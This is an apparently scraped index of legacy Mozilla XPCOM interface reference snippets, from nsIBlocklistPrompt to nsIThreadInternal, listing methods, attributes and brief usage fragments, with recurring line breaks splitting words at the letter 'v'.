... note: this throws ns_error_not_implemented if the widget layer doesn't pro
vide this information.
nsIBlocklistPrompt
xpcom/system/nsiblocklistser
vice.idlscriptable this interface is used, if available, by the default implementation of nsiblocklistser
vice to display a confirmation user interface to the user before blocking extensions or plugins.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void prompt([array, size_is(acount)] in nsivariant aaddons, [optional] in pruint32 acount); methods prompt() prompt the user about newly blocked addons.
nsICRLInfo
lastupdatelocale astring lastupdate formatted as a human readable string formatted according to the en
vironment locale.
... nextupdatelocale astring nextupdate formatted as a human readable string formatted according to the en
vironment locale.
nsICacheListener
inherits from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method over
view void oncacheentryavailable(in nsicacheentrydescriptor descriptor, in nscacheaccessmode accessgranted, in nsresult status); void oncacheentrydoomed(in nsresult status); methods oncacheentryavailable() this method is called when the requested access (or appropriate subset) is acquired.
...see nsicacheser
vice for accessgranted values.
nsICancelable
netwerk/base/public/nsicancelable.idlscriptable this interface pro
vides a means to cancel an operation that is in progress.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void cancel(in nsresult areason); methods cancel() call this method to request that this object abort whatever operation it may be performing.
nsICharsetResolver
inherits from: nsisupports last changed in gecko 1.7 method over
view void notifyresolvedcharset(in acstring charset, in nsisupports closure); acstring requestcharset(in nsiwebna
vigation awebna
vigation, in nsichannel achannel, out boolean awantcharset, out nsisupports aclosure); methods notifyresolvedcharset() some implementations may request that they be notified when the charset is actually detected.
...acstring requestcharset( in nsiwebna
vigation awebna
vigation, in nsichannel achannel, out boolean awantcharset, out nsisupports aclosure ); parameters awebna
vigation the nsiwebna
vigation the document is being loaded in.
nsIClipboardDragDropHookList
it pro
vides basic operations such as adding, remo
ving and enumerating clipboard hooks for the nsiclipboarddragdrophooks interface.
...method over
view void addclipboarddragdrophooks(in nsiclipboarddragdrophooks ahooks); nsisimpleenumerator gethookenumerator(); void removeclipboarddragdrophooks(in nsiclipboarddragdrophooks ahooks); methods addclipboarddragdrophooks() this method adds a hook to the list.
nsIClipboardHelper
widget/public/nsiclipboardhelper.idlscriptable the nsiclipboardhelper interface is a helper ser
vice for common uses of nsiclipboard interface.
... inherits from: nsisupports last changed in gecko 1.7 method over
view void copystring(in astring astring); void copystringtoclipboard(in astring astring, in long aclipboardid); methods copystring() this method copies string to (default) clipboard.
nsICommandLineHandler
the entries in this category are read in alphabetical order, and each category value is treated as a ser
vice contract id implementing this interface.
...illa.org/venkman/clh;1 command-line-handler c-extensions @mozilla.org/extension-manager/clh;1 command-line-handler m-edit @mozilla.org/composer/clh;1 command-line-handler m-irc @mozilla.org/chatzilla/clh;1 command-line-handler y-final @mozilla.org/browser/clh-final;1 method over
view void handle(in nsicommandline acommandline); attributes attribute type description helpinfo autf8string when the application is launched with the -help argument, this attribute is retrieved and displayed to the user (on stdout).
nsIConsoleListener
inherits from: nsisupports last changed in gecko 1.7 method over
view void observe(in nsiconsolemessage amessage); methods observe() called by the nsiconsoleser
vice when a message is posted to the console.
... listeners must first be attached to the ser
vice using nsiconsoleser
vice.registerlistener() void observe( in nsiconsolemessage amessage ); parameters amessage the nsiconsolemessage being posted.
nsIContentFrameMessageManager
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisyncmessagesender this interface pro
vides the en
vironment for scripts that are loaded into content frames using the nsiframescriptloader interface.
... examples once you obtain the conten frame messge manager, you can send messages to listeners who registered with ser
vices.mm.addmessagelistener get content message manager from browser this could would run in a nsidomwindow scope.
nsIContentPref
nsicontentpref dom/interfaces/base/nsicontentprefser
vice2.idlscriptable a content preference 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) attributes attribute type description domain astring read only.
... see also nsicontentprefser
vice2 nsicontentprefcallback2 ...
nsIContentPrefCallback2
dom/interfaces/base/nsicontentprefser
vice2.idlscriptable callback used by nsicontentprefser
vice2 methods 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) method over
view void handlecompletion(in unsigned short reason); void handleerror(in nsresult error); void handleresult(in nsicontentpref pref); constants constant value description complete_ok 0 complete_error 1 methods handlecompletion() called when the method finishes.
... see also nsicontentprefser
vice2 ...
nsIContentSniffer
method over
view acstring getmimetypefromcontent(in nsirequest arequest, [const,array,size_is(alength)] in octet adata, in unsigned long alength); methods getmimetypefromcontent() given a chunk of data, determines a mime type.
... let charset = "iso-8859-1"; try { // this pref has been removed, see bug 910192 charset = ser
vices.prefs.getcomplexvalue("intl.charset.default", ci.nsipreflocalizedstring).data; } catch (e) { } let conv = cc["@mozilla.org/intl/scriptableunicodeconverter"] .createinstance(ci.nsiscriptableunicodeconverter); conv.charset = charset; try { let str = conv.con...
nsICookie
constants constant value description status_unknown 0 the cookie collected in a pre
vious session, and its information no longer exists.
... policy_unknown 0 the cookie collected in a pre
vious session, and its information no longer available.
nsICookiePermission
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method over
view nscookieaccess canaccess(in nsiuri auri, in nsichannel achannel); boolean cansetcookie(in nsiuri auri, in nsichannel achannel, in nsicookie2 acookie, inout boolean aissession, inout print64 aexpiry); nsiuri getoriginatinguri(in nsichannel achannel); void setaccess(in nsiuri auri, in nscookieaccess aaccess); constants constant value description access_default 0 nscookieaccess's access default value access_allow 1 nscookieaccess's access allow value access_deny 2 nscookieaccess's access deny value access_session 8 ad...
...it may modify the issession and expiry attributes of the cookie
via the aissession and aexpiry parameters, in order to limit or extend the lifetime of the cookie.
nsIDBFolderInfo
as a ser
vice: var dbfolderinfo = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsidbfolderinfo); method over
view long andflags(in long flags); void changeexpungedbytes(in long delta); void changenummessages(in long delta); void changenumunreadmessages(in long delta); ...
... imapuidvalidity long imapunreadpendingmessages long knownartsset string locale astring mailboxname astring nummessages long numunreadmessages long sortorder nsmsg
viewsortordervalue sorttype nsmsg
viewsorttypevalue version unsigned long
viewflags nsmsg
viewflagstypevalue
viewtype nsmsg
viewtypevalue methods andflags() long andflags( in long flags ); parameters flags missing description return value missing de...
nsIDOMGeoPositionAddress
this information may or may not be available, depending on the geolocation ser
vice being used.
... 1.0 66 introduced gecko 1.9.2 obsolete gecko 14.0 inherits from: nsisupports last changed in gecko 11 (firefox 11 / thunderbird 11 / seamonkey 2.8) this object is obtained from an nsidomgeopositionaddress object
via its address attribute.
nsIDOMJSWindow
this is only a magic interface to pro
vide the js implementation of a dom window and it should never be used by embedders, the ordinary dom documentation should cover the rest.
...page composed by sebastian gurin <sgurin@(nospam)monte
video.com.uy ...
nsIDOMNode
inherits from: nsisupports last changed in gecko 0.9.6 method over
view nsidomnode appendchild(in nsidomnode newchild) nsidomnode clonenode(in boolean deep); boolean hasattributes(); boolean haschildnodes(); nsidomnode insertbefore(in nsidomnode newchild, in nsidomnode refchild) boolean issupported(in domstring feature, in domstring version); void normalize(); nsidomnode removechild(in nsidomnode oldchild) nsidomnode replacechild(in nsidomnode newchild, in nsidomnode oldchild) attributes attribute type description attributes nsidomnamednodemap read only.
... prefix domstring pre
vioussibling nsidomnode read only.
nsIDOMProgressEvent
1.0 66 introduced gecko 1.9.1 deprecated gecko 22 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomprogressevent is used in the media elements (<
video> and <audio>) to inform interested code of the progress of the media download.
... method over
view void initprogressevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in boolean lengthcomputablearg, in unsigned long long loadedarg, in unsigned long long totalarg); deprecated since gecko 22.0 attributes attribute type description lengthcomputable boolean specifies whether or not the total size of the transfer is known.
nsIDOMStorageItem
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) gecko 1.9.1 note starting in gecko 1.9.1 (firefox 3.5), this is only used for session storage; pre
viously, it was also used for global storage.
...note: all items, regardless of whether they were stored for an http page or an https page, are
visible from https pages.
nsIDOMStorageManager
dom/interfaces/storage/nsidomstoragemanager.idlscriptable this interface pro
vides methods for managing data stored in the offline apps cache.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by @mozilla.org/dom/storagemanager;1 as a ser
vice: var domstoragemanager = components.classes["@mozilla.org/dom/storagemanager;1"] .getser
vice(components.interfaces.nsidomstoragemanager); method over
view void clearofflineapps(); nsidomstorage getlocalstorageforprincipal(in nsiprincipal aprincipal, in domstring adocumenturi); long getusage(in astring aownerdomain); methods clearofflineapps() clears keys owned by offline applications.
nsIDirectoryEnumerator
xpcom/io/nsidirectoryenumerator.idlscriptable this interface pro
vides a means for enumerating the contents of a directory.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void close(); attributes attribute type description nextfile nsifile the next file in the sequence.
nsIDirectoryIterator
the nsidirectoryiterator interface pro
vides a way to iterate over the entries in a directory.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method over
view void init(in nsifilespec parent, in boolean resolvesymlink); boolean exist(); void next(); attributes attribute type description currentspec nsifilespec init() void init( in nsifilespec parent, in boolean resolvesymlink ); parameters parent resolvesymlink exist() boolean exists(); next() void next(); ...
nsIDownloadHistory
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void adddownload(in nsiuri asource, [optional] in nsiuri areferrer, [optional] in prtime astarttime); methods adddownload() adds a download to history.
... this will also notify observers that the uri asource is
visited with the topic ns_link_
visited_event_topic if asource has not yet been
visited.
nsIDownloadManagerUI
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void getattention(); void show([optional] in nsiinterfacerequestor awindowcontext, [optional] in unsigned long aid, [optional] in short areason); attributes attribute type description
visible boolean true if the download manager ui is
visible; otherwise false.
...the ui need not be
visible to call this function, nor will the ui be made
visible.
nsIDroppedLinkHandler
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view boolean candroplink(in nsidomdragevent aevent, in prbool aallowsamedocument); astring droplink(in nsidomdragevent aevent, out astring aname, [optional] in boolean adisallowinherit); void droplinks(in nsidomdragevent aevent, [optional] in boolean adisallowinherit, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsidroppedlinkitem alinks); methods candroplink() determines if a link being dragged can be dropped.
... exceptions thrown ns_error_dom_security_err error will be thrown and the event canceled if the recei
ving target should not load the uri for security reasons.
nsIEditorDocShell
docshell/base/nsieditordocshell.idlscriptable pro
vides a way to get an editor from a specific frame in a docshell hierarchy.
...method over
view void makeeditable(in boolean inwaitforuriload); attributes attribute type description editable boolean this docshell is editable.
nsIEditorMailSupport
editor/idl/nsieditormailsupport.idlscriptable pro
vides simple editing actions for the thunderbird mail editor.
... inherits from: nsisupports last changed in gecko 1.7 method over
view nsisupportsarray getembeddedobjects(); nsidomnode insertascitedquotation(in astring aquotedtext, in astring acitation, in boolean ainserthtml); nsidomnode insertasquotation(in astring aquotedtext); void inserttextwithquotations(in domstring astringtoinsert); void pasteascitedquotation(in astring acitation, in long aselectiontype); void pasteasquotation(in long aselectiontype); void rewrap(in boolean arespectnewlines); void stripcites(); methods getembeddedobjects() get a list of img and object tags in the current document.
nsIEventTarget
implement this interface in order to support recei
ving events from other threads.
... 1.0 66 introduced gecko 1.6 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void dispatch(in nsirunnable event, in unsigned long flags); boolean isoncurrentthread(); void postevent(in pleventptr aevent); native code only!
nsIFeedContainer
toolkit/components/feeds/public/nsifeedcontainer.idlscriptable this interface pro
vides standard fields used by both feeds (nsifeed) and feed entries (nsifeedentry) 1.0 66 introduced gecko 1.8 inherits from: nsifeedelementbase last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) method over
view void normalize(); attributes attribute type description authors nsiarray an array of nsifeedperson objects describing the authors of the feed or entry.
... fields nsiwritablepropertybag2 pro
vides access to all the fields found in the document.
nsIFeedEntry
toolkit/components/feeds/public/nsifeedentry.idlscriptable this interface describes a single entry in an rss or atom news feed, pro
viding attributes allowing access to the entry's data.
...this date is parsable by both javascript (
via date.parse()) and mail code.
nsIFeedProgressListener
programs using the feed content access api do not have to implement any of these callbacks; they are optional, but allow you to pro
vide feedback during the parsing process.
... 1.0 66 introduced gecko 1.8 inherits from: nsifeedresultlistener last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void handleentry(in nsifeedentry entry, in nsifeedresult result); void handlefeedatfirstentry(in nsifeedresult result); void handlestartfeed(in nsifeedresult result); void reporterror(in astring errortext, in long linenumber, in boolean bozo); methods handleentry() called after each entry or item is processed.
nsIFeedResult
toolkit/components/feeds/nsifeedresult.idlscriptable this interface pro
vides access to http and parsing metadata for a feed or entry.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void registerextensionprefix(in astring anamespace, in astring aprefix); attributes attribute type description bozo boolean the feed processor sets the bozo bit when a feed triggers a fatal error during xml parsing.
nsIFrameScriptLoader
frame scripts are essentially per-tab, so they don't get reloaded when the user na
vigates.
...if present and set to true, this flag switches off that beha
vior, meaning that the script's scope is shared with any other frame scripts in the same frame that have also set the flag.
nsIGSettingsCollection
xpcom/system/nsigsettingsser
vice.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method over
view boolean getboolean(in autf8string key); long getint(in autf8string key); autf8string getstring(in autf8string key); void setboolean(in autf8string key, in boolean value); void setint(in autf8string key, in long value); void setstring(in autf8string key, in autf8string value); methods getboolean() boolean getboolean( in autf8string key ); parameters key return value getint() long getint( in autf8string key ); parameters key return value getstring() autf8string getstring( in autf8string key ); parameters key return value setboolean() void setboolean( in autf8string key, in boolean value ...
nsIHTTPHeaderListener
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: the plugin author must pro
vide an instance to {geturl,posturl}() that implements both nsipluginstreamlistener and nsihttpheaderlistener.
... method over
view void newresponseheader(in string headername, in string headervalue); void statusline(in string line); methods newresponseheader() called for each http response header.
nsIInputStream
method over
view unsigned long available();deprecated since gecko 17.0 unsigned long long available(); void close(); boolean isnonblocking(); unsigned long read(in charptr abuf, in unsigned long acount); native code only!
... native code only!readsegments this method pro
vides direct access to the stream's internal buffer.
nsIJumpListBuilder
lists are built in real-time during the sequence of build calls, make sure to check for errors on each indi
vidual step.
...method over
view void abortlistbuild(); boolean addlisttobuild(in short acattype, in nsiarray items optional, in astring catname optional); boolean commitlistbuild(); boolean deleteactivelist(); boolean initlistbuild(in nsimutablearray removeditems); attributes attribute type description available short indicates whether jump list taskbar features are supported by the current host.
nsILoginInfo
to create an instance, use: var logininfo = components.classes["@mozilla.org/login-manager/logininfo;1"] .createinstance(components.interfaces.nsilogininfo); method over
view nsilogininfo clone(); boolean equals(in nsilogininfo alogininfo); void init(in astring ahostname, in astring aformsubmiturl, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield); boolean matches(in nsilogininfo alogininfo, in boolean ignorepassword); attributes attribute ...
... return value true if the two logins are equi
vilant or false if they're not.
Using nsILoginManager
to do so securely, they can use nsiloginmanager, which pro
vides for secure storage of sensitive password information and nsilogininfo, which pro
vides a way of storing login information.
... getting nsiloginmanager to get a component implementing nsiloginmanager, use the following: var passwordmanager = components.classes["@mozilla.org/login-manager;1"].getser
vice( components.interfaces.nsiloginmanager ); most login manager functions take an nsilogininfo object as a parameter.
nsILoginManagerCrypto
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view astring decrypt(in astring ciphertext); astring encrypt(in astring plaintext); attributes attribute type description isloggedin boolean current login state of the token used for encryption.
...note: the current implemention of this inferface simply uses nss/psm's "secret decoder ring" ser
vice.
nsIMemoryMultiReporter
note: this differs from the beha
vior of nsimemoryreporter, which lets all fields except amount be accessed without triggering computation.
... method over
view void collectreports(in nsimemorymultireportercallback callback, in nsisupports closure); methods collectreports() void collectreports( in nsimemorymultireportercallback callback, in nsisupports closure ); parameters callback the nsimemorymultireportercallback to call when collection is complete.
nsIMemoryReporter
mmap,
virtualalloc, vm_allocate etc.
... note: the amount field should be given a value 100 times the actual percentage; this number will be di
vided by 100 when shown.
nsIMicrosummary
toolkit/components/places/public/nsimicrosummaryser
vice.idlscriptable this interface defines attributes and methods for dealing with microsummaries generated by an nsimicrosummarygenerator.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method over
view void addobserver(in nsimicrosummaryobserver observer); boolean equals(in nsimicrosummary aother); void removeobserver(in nsimicrosummaryobserver observer); void update(); attributes attribute type description content astring the content of the microsummary.
nsIMicrosummaryObserver
toolkit/components/places/public/nsimicrosummaryser
vice.idlscriptable this interface pro
vides methods for obser
ving changes to micrummaries.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method over
view void oncontentloaded(in nsimicrosummary microsummary); void onelementappended(in nsimicrosummary microsummary); void onerror(in nsimicrosummary microsummary); methods oncontentloaded() called when an observed microsummary updates its content.
nsIMsgAccountManagerExtension
you have to register any new account manager extensions
via the the category manager at start up.
... inherits from: nsisupports method over
view boolean showpanel(in nsimsgincomingserver server); attributes attribute type description name acstring name of the account manager extension.
nsIMsgSendLater
the nsimsgsendlater interface pro
vides functions for managing the unsent folder of a messaging account.
...to create an instance, use var msgsendlater = components.classes["@mozilla.org/messengercompose/sendlater;1"] .getser
vice(components.interfaces.nsimsgsendlater); method over
view void sendunsentmessages(in nsimsgidentity identity); void removelistener(in nsimsgsendlaterlistener listener); void addlistener(in nsimsgsendlaterlistener listener); nsimsgfolder getunsentmessagesfolder](in nsimsgidentity identity); attributes attribute type description msgwindow nsimsgwindow methods sendunsentmessages() sends all unsent messages for an identity.
nsINavHistoryBatchCallback
toolkit/components/places/public/nsinavhistoryser
vice.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void runbatched(in nsisupports auserdata); methods runbatched() void runbatched( in nsisupports auserdata ); parameters auserdata see also nsinavhistoryser
vice.runinbatchmode() nsinavbookmarksser
vice.runinbatchmode() ...
nsINavHistoryQueryResultNode
toolkit/components/places/nsinavhistoryser
vice.idlscriptable used for places queries and as a base class for bookmark folders.
...method over
view void getqueries([optional] out unsigned long querycount, [retval,array,size_is(querycount)] out nsinavhistoryquery queries); attributes attribute type description folderitemid long long for both simple folder nodes and simple-folder-query nodes, this is set to the concrete itemid of the folder.
nsIPrefLocalizedString
modules/libpref/public/nsipreflocalizedstring.idlscriptable this interface is simply a wrapper interface for nsisupportsstring so the preferences ser
vice can have a unique identifier to distinguish between requests for normal wide strings nsisupportsstring) and 'localized' wide strings, which get their default values from properites files.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void setdatawithlength(in unsigned long length, [size_is(length)] in wstring data); wstring tostring(); attributes attribute type description data wstring pro
vides access to string data stored in this property.
nsIPrinterEnumerator
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void displaypropertiesdlg(in wstring aprinter, in nsiprintsettings aprintsettings); void enumerateprinters(out pruint32 acount,[retval, array, size_is(acount)] out wstring aresult); obsolete since gecko 1.9 void initprintsettingsfromprinter(in wstring aprintername, in nsiprintsettings aprintsettings); attributes attribute type description defaultprintername wstring the name of the system default printer.
...this is not necessarily gecko's default printer; see nsiprintsettingsser
vice.defaultprintername for that.
nsIProfileLock
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void unlock(); attributes attribute type description directory nsilocalfile the main profile directory.
... see also profile management nsitoolkitprofileser
vice nsitoolkitprofile nsiprofileunlocker ...
nsIProfileUnlocker
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void unlock(in unsigned long aseverity); constants constant value description attempt_quit 0 politely ask the process currently holding the profile's lock to quit.
... see also profile management nsitoolkitprofileser
vice nsitoolkitprofile nsiprofilelock ...
nsIPushMessage
method over
view domstring text(); jsval json(); void binary([optional] out uint32_t datalen, [array, retval, size_is(datalen)] out uint8_t data); methods text() extracts the message data as a utf-8 text string.
... see also nsipushser
vice nsipushsubscription pushmessagedata ...
nsIResumableChannel
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void asyncopenat(in nsistreamlistener listener, in nsisupports ctxt, in unsigned long startpos, in nsiresumableentityid entityid); obsolete since gecko 1.8 void resumeat(in unsigned long long startpos, in acstring entityid); attributes attribute type description entityid acstring the entity id for this uri.
...calling resumeat after open or asyncopen has been called has undefined beha
viour.
nsIScriptableUnicodeConverter
if the other apis you are reading data from or writing data to don't require you to use this legacy representation, you should use textdecoder and textencoder (available to chrome javascript
via components.utils.importglobalproperties) instead of this api.
...to create an instance, use: var converter = components.classes["@mozilla.org/intl/scriptableunicodeconverter"] .createinstance(components.interfaces.nsiscriptableunicodeconverter); method over
view acstring convertfromunicode(in astring asrc); acstring finish(); astring converttounicode(in acstring asrc); astring convertfrombytearray([const,array,size_is(acount)] in octet adata, in unsigned long acount); void converttobytearray(in astring astring,[optional] out unsigned long alen,[array, size_is(alen),retval] out octet adata); nsiinpu...
nsISeekableStream
xpcom/io/nsiseekablestream.idlscriptable pro
vides seeking support in data streams.
... inherits from: nsisupports last changed in gecko 1.7 method over
view void seek(in long whence, in long long offset); void seteof(); long long tell(); constants constant value description ns_seek_set 0 specifies that the offset is relative to the start of the stream.
nsISelection
as a ser
vice: var selection = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsiselection); method over
view void addrange(in nsidomrange range); void collapse(in nsidomnode parentnode, in long offset); [noscript,notxpcom,nostdcall] boolean collapsed(); void collapsenative(in nsidomnode parentnode, in...
...void deletefromdocument(); extend() extends the selection by mo
ving the selection end to the specified nsidomnode and offset, preser
ving the selection begin position.
nsIStringEnumerator
inherits from: nsisupports last changed in gecko 1.7 method over
view astring getnext(); boolean hasmore(); methods getnext() called to retrieve the next string in the enumerator.
...hasmore() called to determine whether or not the enumerator has any strings that can be returned
via getnext().
nsISupportsCString
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for ascii character strings.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data acstring pro
vides access to the native type represented by the object.
nsISupportsChar
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for single character values (often used to store an ascii character).
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data char pro
vides access to the native type represented by the object.
nsISupportsDouble
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for double-precision floating-point values.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data double pro
vides access to the native type represented by the object.
nsISupportsFloat
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for single-precision floating-point values.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data float pro
vides access to the native type represented by the object.
nsISupportsID
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for boolean values.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data nsidptr pro
vides access to the native type represented by the object.
nsISupportsInterfacePointer
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for xpcom objects.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data nsisupports pro
vides access to the native type represented by the object.
nsISupportsPRBool
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for boolean values.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data prbool pro
vides access to the native type represented by the object.
nsISupportsPRInt16
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for 16-bit signed integers.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data print16 pro
vides access to the native type represented by the object.
nsISupportsPRInt32
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for 32-bit signed integers.
... 66 introduced gecko 1.0 inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data print32 pro
vides access to the native type represented by the object.
nsISupportsPRInt64
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for 64-bit signed integers.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data print64 pro
vides access to the native type represented by the object.
nsISupportsPRTime
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for prtime values.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data prtime pro
vides access to the native type represented by the object.
nsISupportsPRUint16
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for 16-bit unsigned integers.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data pruint16 pro
vides access to the native type represented by the object.
nsISupportsPRUint32
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for 32-bit unsigned integers.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data pruint32 pro
vides access to the native type represented by the object.
nsISupportsPRUint64
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for 64-bit unsigned integers.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data pruint64 pro
vides access to the native type represented by the object.
nsISupportsPRUint8
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for 8-bit unsigned integers.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data pruint8 pro
vides access to the native type represented by the object.
nsISupportsString
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for unicode character strings.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method over
view string tostring(); attributes attribute type description data astring pro
vides access to the native type represented by the object.
nsISupportsVoid
xpcom/ds/nsisupportsprimitives.idlscriptable this interface pro
vides scriptable access for generic pointers.
... inherits from: nsisupportsprimitive last changed in gecko 1.0 method over
view string tostring(); attributes attribute type description data voidptr this attribute pro
vides access to the native type represented by the object.
nsISupportsWeakReference
inherits from: nsisupports last changed in gecko 1.7 method over
view nsiweakreference getweakreference(); methods getweakreference() produces an appropriate instance of nsiweakreference.
... remarks the xpcom glue library pro
vides nssupportsweakreference, a canonical implementation of nsisupportsweakreference.
nsISyncJPAKE
ser
vices/crypto/component/nsisyncjpake.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void final(in acstring ab, in acstring agvb, in acstring arb, in acstring ahkdfinfo, out acstring aaes256key, out acstring ahmac256key); void round1(in acstring asignerid, out acstring agx1, out acstring agv1, out acstring ar1, out acstring agx2, out acstring agv2, out acstring ar2); void round2(in acstring apeerid, in acstring apin, in acstring agx3, in acstring agv3, in acstring ar3, in acstring agx4, in acstring agv4, in acstring ar4, out acstring aa, out acstring agva, out acstring ara); methods final() perform the final step of the jpake exchange.
nsITXTToHTMLConv
you should normally obtain an instance
via the nsistreamconverterser
vice interface.
... method over
view void preformathtml(in boolean value); void settitle(in wstring text); prior versions of the interface named the methods using the initialcaps style instead of the intercaps style.
nsITextInputProcessorCallback
dom/interfaces/base/nsitextinputprocessor.idlscriptable a callback interface for nsitextinputprocessor user 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) nsitextinputprocessorcallback is defined for recei
ving requests and notifications to ime from gecko.
... }, } method over
view boolean onnotify(in nsitextinputprocessor atextinputprocessor, in nsitextinputprocessornotification anotification); methods onnotify() this is called when gecko requests or notifies something to ime.
nsIThread
this interface pro
vides a high-level abstraction for an operating system thread.
... last changed in gecko 1.9 (firefox 3) inherits from: nsieventtarget method over
view void shutdown() boolean haspendingevents() boolean processnextevent(in boolean maywait) attributes attribute type description prthread prthread the nspr thread object corresponding to the nsithread.
nsIThreadInternal
the nsithreadinternal interface is implemented by the xpcom thread object to let consumers observe dispatch acti
vity on a thread.
